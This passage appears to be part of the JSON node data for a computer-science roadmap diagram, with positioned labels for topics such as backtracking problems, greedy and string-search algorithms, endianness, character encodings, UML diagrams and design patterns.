-235.9251953416784,\n        \"y\": 1158.8950420048757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Finding Hamiltonian Paths\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1158.8950420048757\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HlAmTY1udqDT2mTfBU9P-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1211.8950420048757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Solving N Queen Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1211.8950420048757\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nODFT-i2YsxUVsgwWkIWn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1264.8950420048757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Maze Solving Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1264.8950420048757\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NcKW_3vJWL_rVlDBB_Qjs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1317.8950420048757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"The Knight's Tour Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -235.9251953416784,\n        \"y\": 1317.8950420048757\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bxMi8XrUUxcnmRquiLfz4\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -458.5838696000311,\n        \"y\": 1117.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Greedy Algorithms\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -458.5838696000311,\n        \"y\": 1117.5325761366144\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"l3X9UrEYTWs5kBXI1NNCf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1158.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dijkstra's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1158.5325761366144\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QrcijPiVT3bgqfkF-6ssi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1211.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Huffman Coding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1211.5325761366144\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wqhg7E-lOz1oNcRXjUej8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1264.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kruskal's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1264.5325761366144\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hqw2eGtgfbVggqXBnIOdI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1317.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ford-Fulkerson Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1317.5325761366144\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"znpFIKwMJlepKJ8dH3kvC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1370.5325761366144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prim's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.0838696000311,\n        \"y\": 1370.5325761366144\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l5--4opvZoc_seVn__5R3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -247.36391109269857,\n        \"y\": 1385.9997521969883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rabin-Karp Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -247.36391109269857,\n        \"y\": 1385.9997521969883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n11ujPI3of-52l2KW2CDQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.64403325322604,\n        \"y\": 1260.5168968034543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LFU Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hna0HLu0l4NTNNpyGqlW5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 40.64403325322604,\n        \"y\": 1260.5168968034543\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NUWk-7IXmMU-4TT-oS8fF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 263.1360889073014,\n        \"y\": 1477.9314484491165\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"String Search & Manipulations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vjMqqFsTxSjaiYxmliwLi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 263.1360889073014,\n        \"y\": 1477.9314484491165\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L4M5yFRKKR2axKXGcIA7d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 240.88329772953705,\n        \"y\": 1331.9000012782158\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Search Pattern in Text\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 240.88329772953705,\n        \"y\": 1331.9000012782158\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ld1TUNS8713coMNvwhNIJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 240.88329772953705,\n        \"y\": 1384.9000012782158\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Suffix Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"L4M5yFRKKR2axKXGcIA7d\"\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 240.88329772953705,\n        \"y\": 1384.9000012782158\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g3b0kt1fCAjjYyS2WelWi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1615.309467926659\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Brute Force Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1615.309467926659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8abFKMfaV9H8F38I0DcMT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1721.309467926659\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Knuth-Morris Pratt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1721.309467926659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p6qub32jcaGloHXUDUrlG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1774.309467926659\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Boyer-Moore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1774.309467926659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Km5LvcJpyntrW2iA8h5e3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1668.309467926659\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Robin-Karp\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 306.1360889073014,\n        \"y\": 1668.309467926659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E9hf1ux1KKGHvvAShm67w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 295.6360889073014,\n        \"y\": 1558.309467926659\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Substring Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 295.6360889073014,\n        \"y\": 1558.309467926659\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-bawIWfrYuAxy8cP-AGFS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1.3363921197505988,\n        \"y\": 1477.9314484491165\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Floating Point Math\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vjMqqFsTxSjaiYxmliwLi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1.3363921197505988,\n        \"y\": 1477.9314484491165\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vjMqqFsTxSjaiYxmliwLi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -188.15883786432016,\n        \"y\": 1477.9314484491165\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Endianess\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7a6-AnBI-3tAU1dkOvPkx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -188.15883786432016,\n        \"y\": 1477.9314484491165\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U8AgY6I-62mN5Ohg9MsG6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -202.15883786432016,\n        \"y\": 1568.7167292202673\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Big Endian\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 44,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 44\n      },\n      \"positionAbsolute\": {\n        \"x\": -202.15883786432016,\n        \"y\": 1568.7167292202673\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 44\n      }\n    },\n    {\n      \"id\": \"rD_5n5bjiNMVC0cPhEVyG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -202.15883786432016,\n        \"y\": 1616.7167292202673\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Little Endian\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -202.15883786432016,\n        \"y\": 1616.7167292202673\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DMuMsEowpevTCALtziwTB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1716.7547950762062\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common UML Diagrams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vjMqqFsTxSjaiYxmliwLi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1716.7547950762062\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"04hpfxI2x958tQI-0clsp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -520.1366572430921,\n        \"y\": 1521.5117730746028\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unicode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -520.1366572430921,\n        \"y\": 1521.5117730746028\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hmwsNp60alS43kJg4A_Og\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -403.13665724309215,\n        \"y\": 1521.5117730746028\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ASCII\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -403.13665724309215,\n        \"y\": 1521.5117730746028\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DtG9EJonWi4_2oQ4fWOKY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1609.4287440599703\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Character Encodings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DMuMsEowpevTCALtziwTB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1609.4287440599703\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FZ8znJSz8PvQlnEyRLXmQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1831.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Class Diagrams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1831.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dVvYbrcaxHLpvtX6HbS7g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1884.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Usecase Diagrams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1884.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ptfRNiU0mC0Q5SLA_FWZu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1937.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Activity Diagrams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1937.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X0CKM9LaJUrgI5gIdqFvU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1990.6857669308667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Statemachine Diagrams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1990.6857669308667\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gaUT5K2xS-WQMrIA0Bkb_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 2043.685766930867\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sequence Diagrams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 2043.685766930867\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -206.23550208669644,\n        \"y\": 1716.309467926659\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YLCmZvoLkhOk9wlgYW2Ms\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -206.23550208669644,\n        \"y\": 1716.309467926659\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iPN9mSyFwYZER5HSkj6oL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1614.9760683904424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GoF Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 44,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 44\n      },\n      \"positionAbsolute\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1614.9760683904424\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 44\n      }\n    },\n    {\n      \"id\": \"BGhJNtszbYJtKyhqr2jax\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1662.9760683904424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architectural Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1662.9760683904424\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J7DKRklMtJ94Y-18Jo50r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.26377479007613,\n  